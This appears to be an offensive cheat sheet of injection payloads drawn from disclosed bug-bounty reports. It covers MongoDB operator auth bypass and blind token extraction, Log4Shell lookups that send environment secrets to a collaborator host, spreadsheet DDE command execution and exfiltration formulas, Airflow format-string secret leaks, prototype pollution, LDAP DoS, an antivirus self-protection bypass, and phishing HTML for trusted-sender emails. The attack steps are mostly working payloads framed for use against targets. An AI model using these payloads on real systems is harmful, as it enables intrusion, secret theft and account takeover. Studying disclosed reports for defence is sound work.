# Multi-grammar canary — one metacharacter set upsets exactly one backend.
# Send each token in a param/body field and diff the response vs a benign baseline.
*')( # LDAP filter metacharacters -> LDAP error (e.g. 0x80005000) = filter sink
{"$ne":null} # Mongo operator object -> query behavior changes = NoSQL sink
__proto__ # merge key -> ({}).pp set afterwards = prototype-pollution sink
=1+1 # formula prefix -> cell shows 2 on CSV/XLSX export = formula sink
${jndi:x} # JNDI lookup -> OOB callback = Log4Shell sink
{{7*7}} # template marker -> 49 means SSTI (pivot off this page)
Identify which parser your input reaches, then use the matching grammar.
Any parameter that lands in a Mongo filter without being coerced to a string is injectable. HTTP bracket notation (key[$ne]=null) is parsed by qs/Express into an operator object, and a JSON body carries operators directly. Operators turn an equality check into an attacker-controlled predicate.
# Bracket notation in the query string -> {access_token: {$ne: null}}
# Matches the first token in the collection -> authenticated as that user (#3564655)
GET /api/v1/me?access_token[$ne]=null
# JSON body form: match anything, bypass an equality/ownership check
{"username": {"$gt": ""}}
{"rid": {"$regex": ".*"}}
# $regex prefix oracle: correct prefix -> non-error response. Binary-search each char
# to reconstruct a password-reset token, then reset the admin (#2580062, #1130721)
POST /api/v1/method.callAnon
{"message":"{\"msg\":\"method\",\"method\":\"getPasswordPolicy\",\"params\":[{\"token\":{\"$regex\":\"^A\"}}]}"}
# $where: leak a hidden field even when output fields are restricted (#1130874)
# returns the admin doc only if the guessed char of the reset token matches
query={"$where":"this.roles.includes('admin') && /^A/.test(this.services.password.reset.token)"}
// Object-key form: merge sink ingesting user JSON (#310443)
_.merge({}, JSON.parse('{"__proto__":{"polluted":"x"}}'));
console.log(({}).polluted); // "x" -> Object.prototype is polluted
// Bracket-/dot-path string form: reaches the prototype through set/zipObjectDeep (#864701, #712065)
_.set({}, '__proto__[isAdmin]', true);
_.zipObjectDeep(['__proto__.z'], [123]);
console.log(({}).isAdmin, ({}).z); // true 123
%%{init: { "__proto__": {"polluted": "asdf"} } }%%
sequenceDiagram
Alice->>Bob: Hi Bob
# Detection: a single unbalanced ) throws an LDAP error (e.g. 0x80005000) (#359290)
username=)
# Amplification DoS: heap OOM evaluating the inflated OR-filter (#906959)
# vulnerable filter: (|(uid=${username})(mail=${username})(username=${username}))
# username value = "*)" then "(cn=*)" repeated ~700000 times then "(cn=*"
# (conceptual construction — send the resulting ~4.9MB string as the username)
# =1+1 shows "2" on open -> evaluation confirmed. Then escalate:
=cmd|' /C calc'!A0 # DDE command exec (Excel/Windows) (#72785, #126109)
=HYPERLINK("https://COLLAB/x?d="&A1,"click") # exfil adjacent cells (#126109)
=WEBSERVICE(CONCATENATE("https://COLLAB/x",'file:///etc/passwd'#$passwd.A1)) # local file read (#943255)
# Airflow CVE-2022-40604: run_id is interpolated into a str.format() log-URL template (#1707287)
run_id = "{ti.task.__class__.__init__.__globals__[conf].__dict__}"
# -> leaks Airflow conf: secret_key, sql_alchemy_conn, DB creds
# OOB DNS/LDAP callback = confirmed; nested lookup exfils host/secret in the DNS label (#1429014)
${jndi:ldap://x${hostName}.log4j.COLLAB/a}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.COLLAB/a}
# after callback, serve a malicious class from your LDAP endpoint for full RCE
// Store a foreign email-URN in your own profile text field, then force decoration (#1806939)
// profile website value:
urn:li:fs_emailAddress:8519272224
// then request expansion — the 'included' block resolves the URN to the target's email:
fetch('/voyager/api/identity/dash/profiles?decoration=%28websites*%28url~%29%29&memberIdentity=VICTIM&q=memberIdentity',
{headers:{'x-li-deco-include-micro-schema':'true'}});
// iterate sequential ids -> dump the email DB
When two parsers disagree — or when the same object travels one validated path and one unvalidated path — you smuggle structure past the check. Duplicate-key JSON ({"role":"user","role":"admin"}) is read differently by validator vs consumer (#2095061); an object sanitized on DB write reaches clients raw over the websocket broadcast path (#2541027); trailing whitespace in a header value slips an allow/deny list in the HTTP parser (#730779).
# Same post object, sanitized on DB write, NOT on websocket broadcast -> spoof/DoS clients (#2541027)
POST /api/v4/posts
{"metadata":{"embeds":[{"type":"permalink","data":{"post":{"user_id":"SYSTEM","message":["crash"]}}}]}}
# message:[...] (array, not string) type-confuses the client renderer -> white-screen DoS
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 77 in this class.
Real-world example
NoSQL operator injection -> unauth auth bypass (MongoDB $ne)
◆ Critical
Specimen #3564655 · rocket_chat · none · 97 votes · resolved
Program rocket_chatSurface apiChain NoSQL operator injection -> auth bypass -> admin accouTag oauthTag account-takeover
Root cause
An OAuth access_token was compared against the DB using an attacker-controlled query value. Passing a MongoDB operator object (access_token[$ne]=null) makes the query match the first token in the collection, authenticating with no valid credentials.
Method
- Find an endpoint that authenticates via access_token query parameter.
- Send access_token[$ne]=null so the value is parsed as a Mongo operator {$ne: null}.
- Query matches the first existing OAuth token -> authenticated as that user (admin), leading to ATO. Requires >=1 OAuth token to exist.
GET /...?access_token[$ne]=null
Insight — When a param maps to a query filter on a NoSQL/Mongo backend, submit operator objects (key[$ne]=null, key[$gt]=, key[$regex]=) to bypass equality checks. Bracket notation in query/body turns a string into an operator object in Express/qs.
Real-world example
Python str.format() injection via run_id -> read __globals__/config secrets (Airflow CVE-2022-40604)
◆ Critical
Specimen #1707287 · ibb · 8000 · 87 votes · resolved
Program ibbSurface webChain format-string injection -> read secret_key -> forge se
Root cause
file_task_handler.py builds a log URL with str.format(ti=ti, ...) where part of the format string (log_relative_path derived from run_id) is user-controlled, so a format expression can walk object attributes to reach Python globals and dump the app config (secret_key, DB creds).
Method
- Trigger a DAG with a crafted run_id that is a Python format expression
- Open the task Log view and capture the get_logs_with_metadata request
- Set try_number to a nonexistent value (e.g. 9999) and load the URL to surface the formatted output containing config internals
run_id = {ti.task.__class__.__init__.__globals__[conf].__dict__}
# -> leaks Airflow conf incl. secret_key, sql_alchemy_conn, etc.
Insight — Any user-controlled string passed into Python str.format() is an injection: {obj.__class__.__init__.__globals__[...]} reaches module globals and secrets even without an eval. Grep for .format( with attacker-influenced format templates — distinct from f-strings.
Real-world example
Log4Shell JNDI lookup injection (CVE-2021-44228) with DNS pre-exfil
◆ Critical
Specimen #1429014 · deptofdefense · none · 48 votes · resolved
Program deptofdefenseSurface webChain logged input -> JNDI lookup -> LDAP fetch -> remote
Root cause
Log4j <2.15 performs JNDI/LDAP lookups on logged strings via ${jndi:...} message substitution. Any user-controlled value that gets logged (URL param, header, UA) triggers an outbound LDAP fetch and remote class loading = RCE. Nested lookups like ${hostName} exfiltrate host data over DNS.
Method
- Identify a value that is logged (URL param, User-Agent, X-Api-Version, etc.)
- Inject a jndi:ldap payload pointing at your collaborator, nesting ${hostName}/${env:...} to leak data in the DNS label
- Observe the callback (DNS/LDAP) to confirm, then serve a malicious class for full RCE
${jndi:ldap://x${hostName}.log4j.COLLAB.burpcollaborator.net/a}
Insight — Spray the jndi payload across every input that could be logged (headers especially: User-Agent, X-Forwarded-For, Referer, auth tokens). Nest ${hostName}/${env:AWS_SECRET_ACCESS_KEY} in the DNS label to exfil even when egress to LDAP is blocked but DNS resolves.
Real-world example
Pre-auth blind NoSQL injection ($regex) -> reset-token exfil -> admin ATO -> RCE
◆ Critical
Specimen #1130721 · rocket_chat · none · 20 votes · resolved
Program rocket_chatSurface apiChain NoSQLi (blind $regex) -> leak reset token -> admin accTag account-takeover
Root cause
An unauthenticated method (getPasswordPolicy) passes an unvalidated token straight into a Mongo query. Supplying a query-operator object instead of a string turns equality into an attacker-controlled predicate, enabling char-by-char boolean extraction.
Method
- Call getPasswordPolicy anonymously via /api/v1/method.callAnon
- Send token as {"$regex":"^A"}; policy-returned vs error reveals the guessed prefix
- Iterate per position/char to leak the full password-reset token
- Reset victim (admin) password, log in, create incoming webhook with a script -> server-side code execution
POST /api/v1/method.callAnon
{"message":"{\"msg\":\"method\",\"method\":\"getPasswordPolicy\",\"params\":[{\"token\":{\"$regex\":\"^A\"}}]}"}
# policy returned == prefix correct; else error. Walk ^.{i}CHAR to leak token.
Insight — Any param landing in a Mongo/NoSQL filter that is not coerced to a string is injectable: swap the string for {"$regex":..},{"$gt":..},{"$ne":..}. Boolean/blind oracles (200 vs error, policy vs no policy) exfiltrate reset tokens and pivot to ATO; admin ATO on chat/CMS apps frequently reaches RCE via a scriptable integration/webhook.
Real-world example
MongoDB regex NoSQL injection to steal admin reset token
◆ Critical
Specimen #1581059 · rocket_chat · none · 9 votes · resolved
Program rocket_chatSurface apiChain low-priv auth -> regex NoSQLi on admin reset token -> Tag account-takeover
Root cause
A query accepts an operator object so an authenticated low-priv user can pass a {$regex} on the admin's password-reset token field; matching prefixes true/false leaks the token character by character, enabling admin account takeover.
Method
- Authenticate as a normal user and capture rc_uid/rc_token
- Locate the admin email/user via the same injectable query
- Send {$regex:'^X'} style predicates against the reset-token field and observe hit/no-hit
- Reconstruct the full reset token, then set a new admin password
// conceptual: field accepts an object instead of a string
{ "token": { "$regex": "^<GUESS>" } } // true when prefix matches
Insight — Any MongoDB-backed field that accepts a JSON object instead of a scalar is a NoSQL injection sink; $regex/$gt turn secret comparisons into a blind char-by-char oracle. Reset tokens, API keys and password hashes are prime targets. CVE-2022-32211.
Real-world example
LDAP injection in ldapjs OR-filter -> DoS (and auth-bypass primitive)
◆ Critical
Specimen #906959 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface apiChain LDAP filter injection -> filter amplification -> resou
Root cause
The login username is interpolated straight into an LDAP OR-filter string with no escaping, so LDAP filter metacharacters ( * ( ) ) are interpreted as filter syntax. A crafted username with thousands of nested presence sub-filters makes the server evaluate a huge filter until it OOMs (DoS); '*' also matches all entries.
Method
- Post to the login endpoint with a username containing LDAP filter syntax.
- Use '*' to test presence/auth-affecting behavior; use a repeated '(cn=*)' payload to inflate the filter.
- Server evaluates the enormous filter and crashes (JavaScript heap OOM).
# vulnerable: filter = `(|(uid=${username})(mail=${username})(username=${username})(sAMAccountName=${username}))`
# DoS username:
payload = "*)" + "(cn=*)"*700000 + "(cn=*"
POST /api/login username=<payload>&password=pass
Insight — Any login/search that builds an LDAP filter by string concatenation is injectable. '*' is a presence wildcard (info disclosure/auth issues); nested (cn=*) sub-filters cause catastrophic evaluation (DoS). Escape * ( ) \ NUL per RFC4515. Detection: a single unbalanced ')' or double-quote often throws an LDAP error (e.g. 0x80005000), confirming the sink (#359290).
Real-world example
Prototype pollution in klona deep-clone (CVE-2020-8125)
◆ Critical
Specimen #778414 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface webChain __proto__ key in cloned object -> Object.prototype pollutTag supply-chain
Root cause
CVE-2020-8125: klona < 1.1.1 deep-clones objects by recursively copying keys including __proto__, so cloning an attacker-supplied object writes to Object.prototype, adding arbitrary properties globally.
Method
- Pass an object with a __proto__ key (e.g. from JSON) into klona().
- The recursive clone assigns through __proto__, polluting Object.prototype.
- Observe the injected property on unrelated objects; override methods like toString for DoS/possible RCE gadgets.
const klona = require('klona');
klona(JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log(({}).polluted); // "yes"
Insight — Any deep-clone/merge/extend utility that walks keys without skipping __proto__/constructor/prototype is a prototype-pollution sink. When auditing Node dependencies, feed JSON.parse'd objects with __proto__ into clone/merge helpers and check ({}).<injected>. Pollution of toString/other prototype methods can escalate from DoS to RCE via downstream gadgets.
Real-world example
Prototype pollution via recursive merge/extend (__proto__ injection)
◆ Critical
Specimen #381185 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> gadget in template/engine (e.g. EJTag file-upload
Root cause
Recursive object-merge/clone helpers (extend, merge, defaultsDeep, jQuery-style deep copy) walk attacker-supplied JSON keys without blocking __proto__/constructor/prototype, so a payload key writes onto Object.prototype and pollutes every object in the process.
Method
- Find a sink that deep-merges attacker JSON into an object: extend(true,{},input), _.merge, Object.assign-recursive, config/query/body parsers.
- Send a JSON body whose top key is __proto__ with the property you want on all objects.
- Confirm pollution: read the injected prop on a fresh unrelated object ({}.isAdmin).
- Escalate: pick a prop the app later reads (isAdmin, is_admin, ejs template opts, cmd/shell paths) to flip auth logic, cause DoS, or reach gadget-based RCE.
let extend = require('extend');
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
extend(true, {}, payload);
console.log({}.isAdmin); // true
// also: '{"__proto__":{"polluted":"x"}}' into lutils-merge/merge(...)
Insight — Any recursive merge/clone of untrusted JSON is a prototype-pollution sink. Test every deep-merge with a __proto__ key and probe {}.<injected> on a fresh object; then chain the polluted prop into the app's own logic for auth bypass, DoS, or RCE.
Real-world example
Client-side prototype pollution via Mermaid %%{init}%% __proto__ directive
◆ High
Specimen #1106238 · gitlab · USD 3000 · 58 votes · resolved
Program gitlabSurface webChain stored mermaid directive -> Object.prototype pollution -&
Root cause
Mermaid init directives (%%{init: {JSON}}%%) merge attacker JSON into config without sanitizing __proto__, so a diagram in any issue/comment pollutes Object.prototype for every user who renders it (realized impact: persistent DoS; XSS attempted but not achieved).
Method
- Insert a mermaid code block with an init directive that sets __proto__
- Save it in an issue/comment/wiki
- Anyone opening the page gets a polluted prototype, breaking the app for them
%%{init: { '__proto__': {'polluted': 'asdf'}} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
Insight — Client-side renderers that merge user-supplied JSON/config (Mermaid, markdown extensions, theming) are prototype-pollution sinks; test __proto__/constructor.prototype keys in any diagram/config directive. Even without an XSS gadget the pollution is a stored DoS.
Real-world example
lodash prototype pollution via zipObjectDeep/merge/defaultsDeep
◆ High
Specimen #712065 · nodejs-ecosystem · awarded · 19 votes · resolved
Program nodejs-ecosystemSurface apiChain Prototype pollution -> depending on gadget: DoS/crash, au
Root cause
lodash merge/mergeWith/defaultsDeep/zipObjectDeep follow attacker-controlled property paths without blocking __proto__/constructor/prototype, so a crafted path writes onto Object.prototype - polluting all objects. Impact ranges from DoS/crash to logic bypass or RCE depending on downstream sinks (CVE-2020-8203).
Method
- Find a code path that feeds user input into lodash merge/defaultsDeep/set/zipObjectDeep with a controllable key path
- Supply a path traversing __proto__ (e.g. ['__proto__.z'])
- Object.prototype gains the injected property -> pollutes all objects
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'], [123]);
console.log(({}).z); // 123 -> Object.prototype polluted
// also: _.merge({}, JSON.parse('{"__proto__":{"polluted":true}}'))
Insight — Recursive-merge/deep-set helpers are the canonical prototype-pollution sink. Whenever user JSON is merged into config/options objects, test __proto__/constructor.prototype gadget keys. Even without RCE, polluting a widely-read property reliably crashes or DoSes the server. Follow the polluted property to a downstream gadget (e.g. template outputFunctionName) for escalation.
Real-world example
lodash prototype pollution via constructor.prototype (CVE-2018-16487)
◆ High
Specimen #380873 · nodejs-ecosystem · awarded · 14 votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> DoS (toString/valueOf clobber) or
Root cause
After merge/mergeWith/defaultsDeep were patched to block __proto__, the same recursive-merge sink can still be reached through constructor.prototype, letting attacker JSON set properties on Object.prototype for all objects.
Method
- Find a recursive merge/extend of attacker JSON into an object
- Send {"constructor":{"prototype":{"isAdmin":true}}}
- Confirm ({}).isAdmin === true
var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({}, payload);
console.log({}.isAdmin); // true
Insight — When __proto__ is filtered, try the constructor.prototype path to reach the same prototype. Always test both keys against any deep-merge/clone/extend that ingests user JSON.
Real-world example
Blind MongoDB NoSQL injection ($where) -> account takeover -> RCE
◆ High
Specimen #1130874 · rocket_chat · none · 13 votes · resolved
Program rocket_chatSurface apiChain blind NoSQLi -> leak reset token + 2FA -> password resTag account-takeover
Root cause
The users.list API passes the client-supplied query parameter into a MongoDB query without validation, allowing a $where JavaScript oracle that boolean-leaks any field of any user document (email, password reset token, 2FA secret) one character at a time.
Method
- Send a $where query that returns the target doc only if a guessed char of a secret field matches
- Iterate over positions/charset to fully leak the admin's email and password reset token (and 2FA secret if set)
- Request a password reset for the admin, use the leaked token (+2FA) to set a known password
- As admin, create an incoming webhook with a server-side script to run commands -> RCE
query={"$where":"this.roles.includes('admin') && /^A/.test(this.services.password.reset.token)"}
Insight — Any endpoint that forwards a JSON/query object into a NoSQL backend is a candidate for $where/regex blind injection. Even with restricted returned fields you can build a boolean oracle to exfiltrate hidden fields (tokens/secrets), then chain reset->admin->RCE. Test operator injection ($where, $regex, $ne) on every query-taking API.
Real-world example
Trailing whitespace in header value bypasses Host allow/deny lists (http_parser)
◆ High
Specimen #730779 · nodejs · awarded · 11 votes · resolved
Program nodejsSurface other
Root cause
Node http_parser did not trim trailing optional whitespace (OWS) from header values, so 'Host: victim.com ' is passed up with the trailing space intact; downstream matchers that compare against 'victim.com' fail to match, letting blocked hosts through.
Method
- Send a request with a trailing space after the header value
- Observe the parser emits the value including the trailing whitespace
- A proxy/gateway configured to block that exact host string no longer matches -> request tunnels through
GET / HTTP/1.1\r\nHost: my-super-private-domain.com \r\nHello: World\r\n\r\n
Insight — HTTP parser/normalizer discrepancies are a filter-bypass goldmine: test trailing/leading whitespace, tabs, and other OWS around header values against any proxy that makes allow/deny decisions on header strings.
Real-world example
Prototype pollution via unsafe recursive merge / deep-set (npm lodash, merge)
◆ High
Specimen #864701 · nodejs-ecosystem · awarded · 9 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> tampered app-trusted property (isA
Root cause
Recursive object merge / path-based set functions walk attacker-controlled keys without blocking __proto__/constructor/prototype, so a payload of {__proto__:{...}} or a path like __proto__[x] writes onto Object.prototype, affecting every object (DoS via poisoned toString/valueOf, and often property injection -> auth bypass/RCE downstream).
Method
- Locate a sink that deep-merges or deep-sets attacker JSON (config merge, query parser, ORM, template options).
- Send {"__proto__":{"polluted":"x"}} to a merge sink, or a path string __proto__[polluted]=x to a set sink.
- Confirm with ({}).polluted; escalate by polluting a property the app trusts (isAdmin, toString, template options).
// lodash set/setWith (#864701):
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(({}).test) // 123
// merge.recursive (#381194):
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge.recursive({}, payload);
console.log(({}).isAdmin) // true
Insight — Test every JSON body / config merge / deep-set path with __proto__ (object form) and constructor.prototype, and with bracket-path strings for lodash-style set. Impact ranges from DoS (poison toString) to auth bypass and RCE via gadget properties.
Real-world example
HTML injection into platform-sent invite emails -> trusted-sender phishing
◆ High
Specimen #904064 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain stored HTML in share message -> unsanitized outbound emai
Root cause
A dashboard-sharing 'message' field is not sanitized for HTML before being embedded in the invitation email the platform sends, so an attacker crafts formatted spearphishing that arrives from a trusted first-party mail server.
Method
- Create a dashboard and use Share -> 'Add groups and users'
- Put HTML into the invitation Message field and enable 'send email invitation'
- Recipient gets a first-party email rendering the injected HTML
Message: <b>Action required</b> <a href="https://attacker/login">Re-authenticate here</a>
Insight — Notification/invite/share message fields that feed outbound email are HTML-injection sinks with high phishing value because the mail originates from the target's trusted domain; test formatting tags and links (some img tags may be stripped).
Real-world example
Injection & domain hijack via unfiltered characters in DNS answers
◆ High
Specimen #1178337 · nodejs · none · 4 votes · resolved
Program nodejsSurface apiChain attacker DNS record -> unfiltered hostname in library out
Root cause
Node's dns library returns hostnames from DNS answers (CNAME/PTR) without restricting them to [a-z0-9-.]; embedded NUL bytes and HTML/JS metacharacters pass through, so an attacker who controls a DNS record can smuggle injection payloads or truncate a name into a different domain (cache poisoning / hijack).
Method
- Stand up an authoritative zone (bind9 with check-names disabled)
- Publish a CNAME/PTR whose label contains \x00 or an injection payload like <img src onerror=alert()>
- Make the target app resolve the attacker host (or reverse-resolve an attacker IP)
- App reflects/logs/stores/caches the raw hostname -> XSS / log injection / SQLi / DNS-cache domain hijack
; CNAME with embedded NUL truncates the apparent domain:
cnamezeroweb IN CNAME zero.longtxtrecord.ml\000cnamezeroweb.test.example.net.
; CNAME carrying an XSS payload label:
cnamexss IN CNAME <img/src=''/onerror='alert("xss")'>.a.cnamexss.test.example.net.
; reverse PTR variant:
3.3.3.3.in-addr.arpa. IN PTR <img/src=''/onerror='alert(1)'>.example.com.
Insight — Treat DNS responses as untrusted input. Any app that reverse-resolves client IPs or follows CNAMEs and then logs/renders/stores the name is XSS/log-injection/cache-poisonable. Offensively, control a zone with special-char labels; glibc's gethostbyname filters these, naive libraries do not.
Real-world example
Prototype pollution via recursive deep-merge (@firebase/util deepExtend/deepCopy)
◆ High
Specimen #1001218 · nodejs-ecosystem · none · votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> gadget-dependent escalation (auth-
Root cause
A recursive object merge/clone that walks attacker-controlled keys without excluding __proto__/constructor/prototype assigns into Object.prototype, so an attacker-supplied key like __proto__.polluted sets a property present on every object in the process.
Method
- Feed the merge/clone function a JSON object whose key is __proto__ containing the property to inject
- Call the vulnerable deep-merge (deepExtend) or deep-clone (deepCopy) with the crafted source
- Read the injected property off an unrelated fresh object to confirm global prototype pollution
const utils = require('@firebase/util');
const obj = {};
const source = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log('Before : ' + obj.polluted); // undefined
utils.deepExtend({}, source);
// utils.deepCopy(source);
console.log('After : ' + obj.polluted); // yes
Insight — Any JS library exposing a recursive merge/extend/clone/set-by-path helper is a prototype-pollution sink. Use JSON.parse of a raw '{"__proto__":{...}}' string (object literals resolve __proto__ specially, JSON.parse keeps it as an own key) and check a fresh object for the injected prop. Downstream impact depends on the host app: polluted properties can flip auth flags, inject template/config values, cause DoS, or reach RCE when a polluted key lands in a dangerous gadget (e.g. child_process options, EJS/Handlebars options).
Real-world example
AV self-protection bypass via SetWindowsHookEx DLL injection
◆ High
Specimen #870615 · kaspersky · awarded · 15 votes · resolved
Program kasperskySurface desktopChain DLL injection -> WinAPI hooks -> auto-confirm self-proTag supply-chain
Root cause
Kaspersky hooked ClientLoadLibrary to block injection into its UI (avpui.exe), but the block was by dll filename allowlist; a DLL named like an allowed module (tiptsf.dll) could still be injected via SetWindowsHookEx, after which WinAPIs (TrackPopupMenu/IsDialogMessageW) are hooked to auto-confirm dialogs and disable protection.
Method
- FindWindow to get the AV UI window handle (avpui.exe)
- SetWindowsHookEx to inject a DLL using a filename that passes the ClientLoadLibrary allowlist (e.g. tiptsf.dll)
- Hook TrackPopupMenu, send message via PostMessage
- When self-protection spawns a confirmation dialog in a new avpui.exe, inject again and hook IsDialogMessageW to auto-click OK
- Protection disabled; run malware
Insight — Endpoint/AV 'self-protection' that blocks injection by DLL-name allowlist is bypassable by naming your payload after a permitted module; once inside a trusted GUI process you can hook dialog/message APIs to auto-approve the very prompts meant to stop you. Look for allowlist-by-name enforcement in any injection guard.
Real-world example
GraphQL/Voyager URN decoration injection -> email DB enumeration
◆ Medium
Specimen #1806939 · linkedin · awarded · 79 votes · resolved
Program linkedinSurface apiChain Store fs_emailAddress URN in own profile -> decoration exTag graphql
Root cause
LinkedIn's Voyager decoration feature expands URN-typed fields; the query engine did not enforce which fields are expandable, so storing a fs_emailAddress URN in a profile text field and requesting decoration resolves it, exposing arbitrary users' emails (sequential IDs = full DB).
Method
- Set a profile text field (e.g. website URL) to urn:li:fs_emailAddress:<id>
- Query the profile with a decoration expansion (decoration=(websites*(url~)))
- The response 'included' block resolves the URN to the target email
- Iterate sequential email ids to dump the DB
// profile website value:
urn:li:fs_emailAddress:8519272224
// then:
fetch('/voyager/api/identity/dash/profiles?decoration=%28websites*%28url~%29%29&memberIdentity=<pubid>&q=memberIdentity',{headers:{'x-li-deco-include-micro-schema':'true'}})
Insight — Reference-resolution / hydration layers (URN decoration, GraphQL @include of foreign objects, node(id:)) often lack per-field authorization. Plant a reference to a foreign object in a field you control and force the server to expand it; sequential IDs turn one resolve into mass extraction.
Real-world example
HTML injection in newsletter Name field reflected in transactional email
◆ Medium
Specimen #1108504 · cs_money · $300 · 77 votes · resolved
Program cs_moneySurface web
Root cause
An unsanitized user field (subscriber Name) is reflected into the HTML body of a system-sent confirmation email, letting the attacker rewrite the visible email that victims receive from a trusted sender address.
Method
- Subscribe to the newsletter and put HTML markup in the Name field.
- Confirmation email from the trusted sender (go@cs.money) renders the injected HTML.
- Craft the payload to replace the entire visible email content with a phishing message.
Name: <h1>Your account is suspended</h1><a href="https://attacker/verify">Verify now</a>
Insight — Any user-controlled field that flows into an outbound email template (name, order note, ticket subject) is an HTML-injection phishing sink; the trusted From: address makes it high-value even without XSS.
Real-world example
CSS sanitizer bypass: 'position: fixed !important' escapes exact-match mitigation
◆ Medium
Specimen #3590586 · nextcloud · none · 44 votes · resolved
Program nextcloudSurface web
Root cause
A CSS sanitizer neutralizes overlay attacks by rewriting position:fixed to absolute, but the check is strcasecmp(value,'fixed')===0 requiring the whole value to equal 'fixed'. 'fixed !important' fails that comparison, then passes token-based validation and is emitted unchanged.
Method
- Send an HTML email whose CSS uses position: fixed !important on a full-viewport overlay.
- Sanitizer's exact-match ('fixed') mitigation does not fire; token validator accepts ['fixed','!important'].
- Rendered overlay covers the preview pane iframe, and the whole browser viewport when opened in a new window.
.overlay{position:fixed !important;top:0;left:0;width:100%;height:100%;background:white;z-index:99999;}
Insight — Whenever a sanitizer special-cases a value by exact string match, try appending !important, extra whitespace, comments (/**/), or case changes so the value no longer equals the blocked literal but still parses. Applies to CSS property mitigations and keyword denylists generally.
Real-world example
CSV / formula injection via exported field
◆ Medium
Specimen #1748961 · metamask · 500 · 40 votes · resolved
Program metamaskSurface web
Root cause
User-controlled field (client name) is written to an exported CSV without neutralizing leading formula characters; opened in Excel/Calc, a cell beginning with = is evaluated, enabling DDE command execution or data exfiltration.
Method
- Enter a formula payload in a field that gets exported to CSV
- Have a victim export and open the CSV in a spreadsheet app
- Formula executes (DDE cmd) or exfiltrates cell data
=cmd|' /C notepad'!'A1'
Insight — Any user text that reaches CSV/XLSX export is a formula-injection sink; test =, +, -, @ and DDE (=cmd|...). Fix is prefixing those with a single quote.
Real-world example
Git reference ambiguity: branch named as a commit hash shadows the hash
◆ Medium
Specimen #790634 · gitlab · $2000 · 39 votes · resolved
Program gitlabSurface webChain branch-as-hash -> pinned dependency resolves to attacker Tag supply-chain
Root cause
Git resolves an ambiguous ref by preferring a branch name over a commit object. A host that accepts pushing 40-hex-char branch names lets an attacker create a branch whose name equals a real commit hash; dependents that pin that hash then check out the attacker branch instead.
Method
- Identify a commit hash A that consumers pin/reference.
- On the same repo, create and push a branch named exactly the 40-char hash A pointing at a different commit B.
- A consumer's `git checkout <hashA>` now resolves to branch A (commit B), silently swapping the referenced content.
git branch e91803d442559d6efb63102b10c919e10901b01d <commit_B>
git push origin e91803d442559d6efb63102b10c919e10901b01d
Insight — Trusting a git hash as immutable is unsafe if the host allows hash-shaped ref names (GitHub blocks them, some hosts do not). Same 'ref/diff ambiguity' family also lets attackers smuggle commits so the reviewed PR diff differs from what actually merges (refs/replace). Test git hosts for hash-shaped branch/tag acceptance and diff-vs-merge consistency.
Real-world example
Extension postMessage command injection (open-url tab flooding)
◆ Medium
Specimen #389076 · superhuman · awarded · 37 votes · resolved
Program superhumanSurface otherChain Untrusted page -> content script -> background chrome.
Root cause
A browser-extension content script accepts commands from window.postMessage sent by the active page and forwards an attacker-supplied URL to chrome.tabs.create on the background page, with no origin/gesture check.
Method
- Page (after initializing the extension popup) posts a message with the extension's command envelope
- Content script relays open-url to background page
- Background opens tab(s) at attacker URL including file:// and chrome://; loop for infinite-tab DoS
window.postMessage({
grammarly: true,
action: 'open-url',
url: 'file:///etc/passwd'
}, '*')
Insight — Any extension whose content script trusts window.postMessage/DOM events without verifying event.isTrusted or origin is a page-to-privileged-API bridge; enumerate the command envelope and look for navigation/file/download sinks.
Real-world example
CSS injection via unquoted url() from body background attribute
◆ Medium
Specimen #3590583 · nextcloud · none · 34 votes · resolved
Program nextcloudSurface web
Root cause
The sanitizer builds inline style background-image:url(VALUE) from the email <body background> attribute without quoting VALUE. Even though VALUE passes wash_uri() (which allows data:image/*), a data: URI containing ')' closes url() early and the remainder is parsed as extra CSS properties on the inline style, bypassing the <style>-block URL callback.
Method
- Enable 'block remote images' in the webmail client.
- Send an HTML email with a body background attribute whose data: URI contains ')' followed by an attacker CSS property.
- The unquoted url() is closed early; injected background:url(//evil) is inline style (not in a <style> block) so it dodges the URL-blocking callback and loads the remote resource.
<body background="data:image/png,x);background:url(//ATTACKER/track?uid=victim@test.com">
<!-- rendered inline style: background-image: url(data:image/png,x);background:url(//ATTACKER/track?uid=victim@test.com) -->
Insight — Unquoted values placed into url() or any CSS function are injectable even after URI validation: a ')' breaks out of the function and everything after becomes new declarations. Inline styles built by the server bypass <style>-block CSS filters entirely. Test attribute->inline-CSS reflections for url() breakout.
Real-world example
NoSQL $regex injection to leak livechat token + messages
◆ Medium
Specimen #2580062 · rocket_chat · none · 29 votes · resolved
Program rocket_chatSurface webChain loginByToken $regex token bruteforce -> loadHistory rid:$
Root cause
Meteor methods pass user-controlled parameters straight into MongoDB queries without type validation, so an object like {"$regex":...} performs NoSQL injection. livechat:loginByToken (pre-auth) leaks visitor tokens char-by-char; livechat:loadHistory rid then dumps messages.
Method
- Call livechat:loginByToken with a {$regex:'^<prefix>[chars]'} object; a non-error _id response confirms the prefix, enabling binary-search bruteforce of the full token
- With the recovered token, call livechat:loadHistory with rid:{$regex:'.*'} to bypass room-id validation and dump all messages
Meteor.call('livechat:loginByToken', { "$regex": "^"+known+"["+guesses+"]" }, cb); // boolean oracle -> bruteforce token
Meteor.call('livechat:loadHistory', { token: leakedToken, rid: { "$regex": ".*" } }, cb); // dump messages
